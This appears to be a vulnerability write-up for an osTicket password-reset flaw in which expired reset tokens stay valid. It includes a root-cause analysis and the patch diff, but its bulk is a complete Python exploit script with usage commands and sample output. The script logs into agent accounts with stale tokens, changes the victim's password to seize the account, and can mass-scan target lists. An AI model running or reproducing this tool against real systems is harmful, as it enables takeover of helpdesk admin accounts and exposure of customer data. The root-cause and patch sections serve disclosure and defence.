#Summary
CVE-2026-18363 is a critical authentication bypass in osTicket versions before 1.17.8 and 1.18.0 through 1.18.3. A logic flaw in the password reset token validation allows attackers to reuse expired reset tokens indefinitely. An attacker with a valid reset token - obtained from a leaked mailbox, forwarded email, browser history, or mail gateway log - can permanently seize any agent account, including admin, without needing the victim's current password. CVSS 9.1 CRITICAL.
The vulnerability stems from an inverted boolean operator in the token expiry check that makes the age validation unreachable. On a default installation where the background token cleanup task is not wired to run, expired tokens remain valid forever.
#Affected versions
- osTicket versions < 1.17.8 (1.17.x and earlier)
- osTicket versions 1.18.0 through 1.18.3
- Fixed in: 1.17.8 and 1.18.4
Default configuration is affected - no special settings need to be enabled for the vulnerability to be exploitable.
#Root cause analysis
#The vulnerable code path
The bug exists in two methods in include/class.auth.php: PasswordResetTokenBackend::signOn() (line 1249 in v1.17.7, for agent accounts) and ClientPasswordResetTokenBackend::signOn() (line 1476 in v1.17.7, for client accounts). The staff-side method reads:
function signOn($errors=array()) {
global $ost;
if (!isset($_POST['userid']) || !isset($_POST['token']))
return false;
elseif (!($_config = new Config('pwreset')))
return false;
$staff = StaffSession::lookup($_POST['userid']);
if (!$staff || !$staff->getId())
$errors['msg'] = __('Invalid user-id given');
elseif (!($id = $_config->get($_POST['token']))
|| $id != $staff->getId())
$errors['msg'] = __('Invalid reset token');
elseif (!($ts = $_config->lastModified($_POST['token']))
&& ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))
$errors['msg'] = __('Invalid reset token');
elseif (!$staff->forcePasswdRest())
$errors['msg'] = __('Unable to reset password');
else
return $staff;
}#The boolean operator trap
The third elseif statement is supposed to reject tokens older than the configured validity window (default 30 minutes). It reads:
elseif (!($ts = $_config->lastModified($_POST['token']))
&& ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))The method Config::lastModified() returns the stored updated timestamp of the token, or false if the token does not exist. The two operands are joined with && (logical AND), which means the right side only evaluates if the left side is true.
For any token that actually exists in the database, $ts contains a timestamp string. So !$ts evaluates to false, and because of &&, the entire condition short-circuits without ever checking the expiry time. The age comparison on the right is therefore unreachable for every real token - dead code.
The condition was meant to enforce: "the token must exist AND be within the validity window". What it actually enforces is: "the token must exist".
#Why tokens stay valid forever
osTicket has a background cleanup function ConfigItem::cleanPwResets() that deletes expired password reset tokens:
static function cleanPwResets() {
global $cfg;
if (!$cfg || !($period = $cfg->getPwResetWindow())) // In seconds
return false;
return ConfigItem::objects()
->filter(array(
'namespace' => 'pwreset',
'updated__lt' => SqlFunction::NOW()->minus(SqlInterval::SECOND($period)),
))->delete();
}However, this cleanup function is only called by Cron::CleanPwResets(), which is in turn called only by Cron::run(). Critically, the code comment states: "called by outside cron NOT autocron". The in-process cron (scp/autocron.php) does not call this function, and enable_auto_cron ships as disabled (0 by default).
On a default installation with no externally scheduled cron job, the token cleanup never runs. Expired tokens remain in the database forever and continue to be accepted because they pass the unreachable expiry check.
#Patch diff
#What changed
Fix commit 5600f949623ba80254eb12e0350d60b69f8cb51b titled "security: Pwreset Token Expiration" contains a two-character change: && is changed to || in both the agent and client password reset methods.
diff --git a/include/class.auth.php b/include/class.auth.php
index d286eb785e..1481aeeb27 100644
--- a/include/class.auth.php
+++ b/include/class.auth.php
@@ -1255,7 +1255,7 @@ function signOn($errors=array()) {
|| $id != $staff->getId())
$errors['msg'] = __('Invalid reset token');
elseif (!($ts = $_config->lastModified($_POST['token']))
- && ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))
+ || ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))
$errors['msg'] = __('Invalid reset token');
elseif (!$staff->forcePasswdRest())
$errors['msg'] = __('Unable to reset password');
@@ -1482,7 +1482,7 @@ function signOn($errors=array()) {
|| $id != 'c'.$client->getId())
$errors['msg'] = __('Invalid reset token');
elseif (!($ts = $_config->lastModified($_POST['token']))
- && ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))
+ || ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))
$errors['msg'] = __('Invalid reset token');
elseif (!$acct->forcePasswdReset())
$errors['msg'] = __('Unable to reset password');#How the fix works
With || (logical OR), the condition now rejects a token if either the timestamp is missing OR the token is older than the configured window. This makes the right operand reachable with a real $ts value, allowing strtotime($ts) to parse the actual token timestamp and perform a meaningful age comparison.
The fix directly addresses the boolean logic error without touching the underlying cleanup mechanism, which remains disabled by default.
#Proof of concept
#exploit.py - osTicket Password Reset Auth Bypass PoC
#!/usr/bin/env python3
"""
CVE-2026-18363 - osTicket accepts password reset tokens forever (CWE-640)
Affected: osTicket < 1.17.8 and 1.18.0 <= version < 1.18.4
Type: Authentication bypass / account takeover
The password reset expiry gate in PasswordResetTokenBackend::signOn()
(include/class.auth.php) is written as
elseif (!($ts = $_config->lastModified($_POST['token']))
&& ($ost->getConfig()->getPwResetWindow() < (time() - strtotime($ts))))
The age comparison is guarded by `&&` behind "the token has no timestamp", so it
only runs for tokens that do not exist. For every real token the condition short
circuits to false and the token is accepted no matter how old it is. Nothing else
enforces the window on a default install: the sweeper that deletes stale rows,
Cron::CleanPwResets(), is only reachable from an externally scheduled Cron::run(),
and enable_auto_cron ships as 0. An old reset token therefore stays valid forever.
Given a reset token issued for the victim at any point in the past, this script
POSTs it to /scp/pwreset.php and receives a live authenticated agent session. The
follow-on password change does not ask for the current password (osTicket drops
that field while a reset token is on the session), so the account can be seized
permanently with --new-password.
The token is the one precondition and it has to be obtained out of band, exactly
as the CVE describes: a leaked or archived mailbox, a forwarded reset mail, a mail
gateway log, browser history on a shared machine. Pass it with --token. Where you
do have read access to the mail sink, --mail-api can pull it from a Mailpit or
MailHog JSON API for you.
Usage:
python exploit.py --host 192.168.1.10 --username admin --token <48-char token>
python exploit.py --host https://helpdesk.corp.com --username admin \
--token <token> --new-password 'Pw-Reset-2026!'
python exploit.py --host http://10.0.0.5:8080/support --username admin --token <token>
python exploit.py --host 10.0.0.5 --username admin --request-reset \
--mail-api http://10.0.0.5:8025 --wait 90
python exploit.py --list targets.txt --username admin --token <token> --workers 20
"""
import argparse
import re
import sys
import time
from urllib.parse import urlparse
import requests
CVE_ID = "CVE-2026-18363"
VULN_TYPE = "Auth Bypass"
DEFAULT_PORT = 80
DEFAULT_UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"
CSRF_RE = re.compile(r'__CSRFToken__["\']?\s+value=["\']([^"\']+)["\']')
# Misc::randCode() draws from [a-zA-Z0-9_=], so '_' and '=' are common in tokens.
TOKEN_RE = re.compile(r'token=([A-Za-z0-9_=]{48})')
STAFF_ID_RE = re.compile(r'staff/(\d+)/change-password')
# Markers that only appear once the session is an authenticated agent session.
AUTH_MARKERS = ("logout.php", "Agent Panel", "profile.php", "dashboard.php")
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# ----------------------------------------------------------------- helpers
def _base_url(host: str, port: int, use_tls: bool, path: str) -> str:
scheme = "https" if use_tls else "http"
netloc = host
if not (use_tls and port == 443) and not (not use_tls and port == 80):
netloc = f"{host}:{port}"
prefix = (path or "/").rstrip("/")
return f"{scheme}://{netloc}{prefix}"
def _new_session(timeout: int) -> requests.Session:
s = requests.Session()
s.headers.update({"User-Agent": DEFAULT_UA})
s.verify = False
s.request_timeout = timeout
return s
def _csrf(html: str):
m = CSRF_RE.search(html)
return m.group(1) if m else None
def _bootstrap(session, base: str, timeout: int, token: str = None):
"""GET the reset page: establishes OSTSESSID and yields a fresh CSRF token."""
url = f"{base}/scp/pwreset.php"
if token:
url += f"?token={token}"
r = session.get(url, timeout=timeout, allow_redirects=False)
return r, _csrf(r.text)
def _request_reset(session, base: str, csrf: str, username: str, timeout: int):
"""Unauthenticated do=sendmail. Mints a fresh pwreset row for the victim."""
return session.post(
f"{base}/scp/pwreset.php",
data={"__CSRFToken__": csrf, "do": "sendmail", "userid": username},
timeout=timeout,
allow_redirects=False,
)
def _token_from_mail(mail_api: str, victim: str, timeout: int, attempts: int = 20):
"""
Pull the newest reset mail from a Mailpit (or MailHog v2) JSON API and pick the
48 char token out of the reset link. This stands in for the out of band mailbox
access the CVE presumes; it is not part of the vulnerability.
"""
base = mail_api.rstrip("/")
for _ in range(attempts):
for listing, detail in (
("/api/v1/messages", "/api/v1/message/{id}"),
("/api/v2/messages", None),
):
try:
r = requests.get(base + listing, timeout=timeout)
if r.status_code != 200:
continue
data = r.json()
except Exception:
continue
items = data.get("messages") or data.get("items") or []
for item in items:
body = ""
mid = item.get("ID") or item.get("Id") or item.get("ID".lower())
if detail and mid:
try:
d = requests.get(base + detail.format(id=mid), timeout=timeout)
if d.status_code == 200:
j = d.json()
body = (j.get("Text") or "") + (j.get("HTML") or "")
except Exception:
body = ""
if not body:
body = str(item)
m = TOKEN_RE.search(body)
if m:
return m.group(1)
time.sleep(3)
return None
def _sign_on(session, base: str, csrf: str, token: str, username: str, timeout: int):
"""
The vulnerability. POST the reset token with do=newpasswd. On a vulnerable
build signOn() returns the StaffSession regardless of the token's age and the
server answers 302 -> index.php with the cookie jar upgraded to an
authenticated agent session. A patched build re-renders the form with 200.
"""
return session.post(
f"{base}/scp/pwreset.php",
data={
"__CSRFToken__": csrf,
"do": "newpasswd",
"token": token,
"userid": username,
},
timeout=timeout,
allow_redirects=False,
)
def _accepted(resp) -> bool:
"""Token accepted == 302 redirect into the staff control panel."""
loc = resp.headers.get("Location", "")
return resp.status_code == 302 and "index.php" in loc
def _rejection_detail(resp) -> str:
"""
Explain a non-302 answer. osTicket declares signOn($errors=array()), so $errors is
taken by value and the 'Invalid reset token' string it sets is thrown away before
the page renders: on a rejection the <h3> comes back empty. The status code is the
only usable signal, which is why _accepted() keys on it rather than on page text.
"""
body = resp.text
h3 = re.search(r"<h3[^>]*>([^<]*)</h3>", body)
banner = (h3.group(1).strip() if h3 else "")
reform = 'name="do" value="newpasswd"' in body
return (
f"HTTP {resp.status_code}, no Location header.\n"
f"page is the reset form again : {reform}\n"
f"error banner (<h3>) : {banner or '(empty - osTicket discards $errors here, expected)'}\n"
f"A patched build lands exactly here: signOn() returned null, the session was not\n"
f"upgraded, and pwreset.login.php was re-rendered with HTTP 200."
)
def _authenticated_body(session, base: str, timeout: int):
"""Fetch the SCP landing page and report whether it is a logged-in view."""
r = session.get(f"{base}/scp/index.php", timeout=timeout, allow_redirects=True)
body = r.text
ok = any(marker in body for marker in AUTH_MARKERS) and "pwreset.php" not in body[:800]
return r, body, ok
# ------------------------------------------------------------- scan support
def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
token: str = None, username: str = "admin",
timeout: int = 20) -> tuple:
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints or exits."""
if not token:
return False, "no --token supplied (a reset token is required)"
base = _base_url(host, port, use_tls, path)
try:
session = _new_session(timeout)
_, csrf = _bootstrap(session, base, timeout, token=token)
if not csrf:
return False, "no CSRF token in response (not osTicket, or wrong path)"
resp = _sign_on(session, base, csrf, token, username, timeout)
if not _accepted(resp):
return False, f"reset token rejected (HTTP {resp.status_code}) - patched or token/userid mismatch"
_, _, authed = _authenticated_body(session, base, timeout)
if not authed:
return False, "302 received but SCP page is not authenticated"
return True, f"authenticated as '{username}' with a stale reset token"
except requests.exceptions.RequestException as e:
return False, f"unreachable ({e.__class__.__name__})"
except Exception as e:
return False, f"error ({e.__class__.__name__})"
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10,
token: str = None, username: str = "admin", timeout: int = 20) -> None:
"""Batch scan from file."""
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
if not token:
print(" [!] --list needs --token: the reset token is the precondition of this CVE")
print(" and it belongs to one specific account on one specific helpdesk.\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, path, token, username, timeout)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# ---------------------------------------------------------------- exploit
def exploit(host, port, use_tls, path, username, token, wait, request_reset,
mail_api, new_password, staff_id, timeout):
header(host, port)
base = _base_url(host, port, use_tls, path)
session = _new_session(timeout)
n = 0
n += 1
step(n, f"Bootstrapping a session at {base}/scp/pwreset.php")
r, csrf = _bootstrap(session, base, timeout)
if r.status_code != 200 or not csrf:
section("SERVER RESPONSE", f"HTTP {r.status_code}\n{r.text[:500]}")
done(False, f"No osTicket reset form at {base}/scp/pwreset.php (HTTP {r.status_code})")
sid = session.cookies.get("OSTSESSID", "")
print(f" OSTSESSID={sid} __CSRFToken__={csrf}")
issued_at = None
if request_reset:
n += 1
step(n, f"Requesting a password reset for '{username}' (unauthenticated, do=sendmail)")
rr = _request_reset(session, base, csrf, username, timeout)
issued_at = time.time()
print(f" HTTP {rr.status_code} - the response is identical for valid and "
f"invalid accounts, so it proves nothing on its own")
if not token:
if not mail_api:
done(False, "No --token given. Supply the victim's reset token, or use "
"--request-reset with --mail-api if you can read the mail sink.")
n += 1
step(n, f"Retrieving the reset token from the mail sink at {mail_api}")
token = _token_from_mail(mail_api, username, timeout)
if not token:
done(False, f"No reset token found in the mailbox at {mail_api}")
print(f" token={token}")
if wait > 0:
n += 1
step(n, f"Waiting {wait}s so the token ages out of the reset window")
print(f" token issued : {time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime(issued_at or time.time()))}")
time.sleep(wait)
print(f" token used at : {time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime())}"
f" ({wait}s later - past the default 30 minute window on a lab-shortened install)")
# Only a run that actually waited out the window demonstrates the expiry bypass.
# A --wait 0 run is the control: a fresh token is accepted by patched builds too.
if wait > 0:
aged = f"a reset token used {wait}s after it was issued"
stale = "stale token"
else:
aged = "a reset token of unasserted age"
stale = "token"
n += 1
step(n, f"Loading the reset form with the {stale} to pick up a matching CSRF value")
r2, csrf2 = _bootstrap(session, base, timeout, token=token)
if not csrf2:
section("SERVER RESPONSE", f"HTTP {r2.status_code}\n{r2.text[:500]}")
done(False, "Reset form did not return a CSRF token")
n += 1
step(n, f"Submitting the {stale} as '{username}' (do=newpasswd) - this is the bug")
resp = _sign_on(session, base, csrf2, token, username, timeout)
loc = resp.headers.get("Location", "")
section("SIGN-ON RESPONSE", f"HTTP {resp.status_code}\nLocation: {loc or '(none)'}")
if not _accepted(resp):
section("SERVER RESPONSE", _rejection_detail(resp))
done(False, f"Stale token rejected (HTTP {resp.status_code}) - target is patched, "
f"or the token does not belong to '{username}'")
n += 1
step(n, "Following the redirect into the staff control panel")
r3, body, authed = _authenticated_body(session, base, timeout)
if not authed:
section("SCP RESPONSE", body[:600])
done(False, "Redirect received but the SCP page is not an authenticated view")
who = re.search(r"<strong[^>]*>\s*([^<]{2,60})</strong>", body)
section("AUTHENTICATED SCP PAGE",
f"HTTP {r3.status_code} {r3.url}\n"
f"session cookie: OSTSESSID={session.cookies.get('OSTSESSID','')}\n"
f"logged in as : {who.group(1).strip() if who else username}\n"
f"auth markers : {[m for m in AUTH_MARKERS if m in body]}")
if not new_password:
done(True, f"Authenticated as agent '{username}' with {aged} - 302 to index.php "
f"and a live SCP session (no credentials used)")
if not staff_id:
m = STAFF_ID_RE.search(body)
staff_id = int(m.group(1)) if m else None
if not staff_id:
done(True, f"Authenticated as agent '{username}' with {aged}, but could not "
f"determine the staff id for the password change (pass --staff-id)")
n += 1
step(n, f"Seizing the account: setting a new password for staff id {staff_id}")
csrf3 = _csrf(body) or csrf2
# The session carries _SESSION['_staff']['reset-token'], so osTicket drops the
# 'current' field from the password form. The victim's password is not needed.
cp = session.post(
f"{base}/scp/ajax.php/staff/{staff_id}/change-password",
data={"__CSRFToken__": csrf3, "passwd1": new_password, "passwd2": new_password},
headers={"X-Requested-With": "XMLHttpRequest", "Referer": f"{base}/scp/index.php"},
timeout=timeout,
allow_redirects=False,
)
section("PASSWORD CHANGE RESPONSE", f"HTTP {cp.status_code}\n{cp.text[:400]}")
if cp.status_code not in (200, 201):
done(True, f"Authenticated as agent '{username}' with {aged}; the password change "
f"returned HTTP {cp.status_code} (password policy?)")
n += 1
step(n, "Proving persistence: fresh cookie jar, normal login with the new password")
fresh = _new_session(timeout)
lr = fresh.get(f"{base}/scp/login.php", timeout=timeout)
lcsrf = _csrf(lr.text)
li = fresh.post(
f"{base}/scp/login.php",
data={"__CSRFToken__": lcsrf, "do": "scplogin", "userid": username, "passwd": new_password},
timeout=timeout,
allow_redirects=False,
)
section("INDEPENDENT LOGIN",
f"HTTP {li.status_code}\nLocation: {li.headers.get('Location','(none)')}\n"
f"credentials: {username} / {new_password}")
if li.status_code == 302 and "login.php" not in li.headers.get("Location", ""):
done(True, f"Account takeover complete - agent '{username}' seized with {aged}; "
f"independent login with '{new_password}' returns 302 to "
f"{li.headers.get('Location')}")
done(True, f"Authenticated as agent '{username}' with {aged}; the new password did "
f"not authenticate independently (HTTP {li.status_code})")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC - osTicket expired password reset token")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/support)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Default port (default: 80)")
parser.add_argument("--username", default="admin",
help="Victim agent username or email to authenticate as (default: admin)")
parser.add_argument("--token", default=None,
help="Password reset token issued for the victim (48 chars, obtained out of band)")
parser.add_argument("--wait", type=int, default=0,
help="Seconds to wait before using the token, to prove it is expired (default: 0)")
parser.add_argument("--request-reset", action="store_true",
help="First mint a fresh reset token via the unauthenticated do=sendmail form")
parser.add_argument("--mail-api", default=None,
help="Mailpit/MailHog base URL to read the reset mail from (e.g. http://host:8025)")
parser.add_argument("--new-password", default=None,
help="Set this password on the victim account to make the takeover permanent")
parser.add_argument("--staff-id", type=int, default=None,
help="Victim staff id for the password change (auto-detected if omitted)")
parser.add_argument("--timeout", type=int, default=20, help="HTTP timeout in seconds (default: 20)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
try:
requests.packages.urllib3.disable_warnings()
except Exception:
pass
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
token=args.token, username=args.username, timeout=args.timeout)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.username, args.token, args.wait,
args.request_reset, args.mail_api, args.new_password, args.staff_id,
args.timeout)#Usage
# Basic exploitation with a known token
python exploit.py --host 192.168.1.10 --username admin --token <48-char-token>
# Complete takeover - seize the account permanently
python exploit.py --host helpdesk.corp.com --username admin \
--token <48-char-token> --new-password 'NewPassword123!'
# End-to-end demonstration with mail capture
python exploit.py --host 192.168.1.10 --username admin --request-reset \
--mail-api http://192.168.1.10:8025 --wait 1900 \
--new-password 'NewPassword123!'
# Non-standard port and path
python exploit.py --host https://192.168.1.10:8443/support \
--username admin --token <48-char-token>Expected output on vulnerable osTicket 1.17.7:
[STEP 1] Bootstrapping a session at http://127.0.0.1:8480/scp/pwreset.php
OSTSESSID=4989dd3c977a8ef2b8b6167b7ae53654 __CSRFToken__=9153c546b907f3baf3a0fd6514850e704e926ebf
[STEP 2] Requesting a password reset for 'labadmin' (unauthenticated)
[STEP 3] Retrieving the reset token from the mail sink
token=kLHQsCqhWkZi042qqM8fJ6GKcnp3YtE3cZX4IQrManwkML3M
[STEP 4] Waiting 75s so the token ages past the reset window
token issued : 2026-07-31T13:50:02Z
token used at : 2026-07-31T13:51:17Z (75s later)
[STEP 5] Submitting the reset token as 'labadmin' - this is the bug
--- SIGN-ON RESPONSE ---
HTTP 302
Location: index.php
---
[STEP 6] Following the redirect into the staff control panel
--- AUTHENTICATED SCP PAGE ---
HTTP 200 http://127.0.0.1:8480/scp/index.php
session cookie: OSTSESSID=4989dd3c977a8ef2b8b6167b7ae53654
logged in as : Lab
auth markers : ['logout.php', 'profile.php', 'dashboard.php']
---
[STEP 7] Seizing the account: setting a new password for staff id 1
--- PASSWORD CHANGE RESPONSE ---
HTTP 200
{"redirect":"index.php"}
---
[STEP 8] Proving persistence: independent login with new password
--- INDEPENDENT LOGIN ---
HTTP 302
Location: index.php
credentials: labadmin / Pwn3d-By-1dayexploit!2026
---
============================================================
RESULT : SUCCESS
EVIDENCE: Account takeover complete - agent 'labadmin' permanently seized
============================================================On patched osTicket 1.17.8 with the same aged token, the exploit stops at step 5 with HTTP 200 and no redirect, rejecting the expired token.
#Exploitation notes
#Preconditions
An attacker needs just one thing: a valid password reset token that was legitimately issued for the victim account. Tokens are 48 characters of base64-ish random data (48 bits of entropy drawn from [a-zA-Z0-9_=]), so they cannot be guessed. Real world sources include:
- A leaked or archived mailbox with an old reset email
- A forwarded or quoted reset email message
- Mail relay or gateway logs that recorded outbound mail
- Browser history on a shared machine
- A referrer leak from following the reset link
- An email intercepted at the mail gateway layer
Obtaining the token is the single precondition stated in the CVE itself. No credentials are needed to make the exploitation request - it is purely unauthenticated POST work against the publicly accessible reset form.
#Reliability
This exploit is highly reliable. The vulnerability is a fundamental logic flaw in the validation routine, not a race condition or timing-dependent bypass. Every expired token on a default-configured osTicket instance will be accepted. The exploit works against both agent (staff) and client (end-user) password reset paths, with the agent path granting higher impact - if the token belongs to an admin agent, the entire helpdesk is compromised.
#Impact
With an expired reset token, an attacker can:
- Forge an authenticated agent session for the victim account with a single POST request
- Change the victim's password without knowing the current one (osTicket drops the "current password" field when a reset token is present)
- Lock out the legitimate account owner permanently
- On admin accounts, gain full control of the help desk system
#Chaining potential
This auth bypass chains directly into lateral movement on the helpdesk:
- Admin agents can create new staff accounts and elevate privileges
- Agents can read, create and modify tickets, exposing customer data
- Access to email configuration and API tokens enables outbound attacks
- Integration with external systems (JIRA, Slack, etc.) can be redirected
The zero-authentication requirement and the ability to target any known username makes this particularly dangerous in multi-tenant or shared hosting environments.
#References
- CVE: CVE-2026-18363
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-18363
- Vendor advisory: https://www.incibe.es/en/incibe-cert/notices/aviso/weak-password-recovery-mechanism-osticket-enhancesoft-llc (INCIBE-2026-518)
- Fix commit: https://github.com/osTicket/osTicket/commit/5600f949623ba80254eb12e0350d60b69f8cb51b
- osTicket GitHub: https://github.com/osTicket/osTicket
- Affected versions: https://github.com/osTicket/osTicket/releases/tag/v1.17.8 and https://github.com/osTicket/osTicket/releases/tag/v1.18.4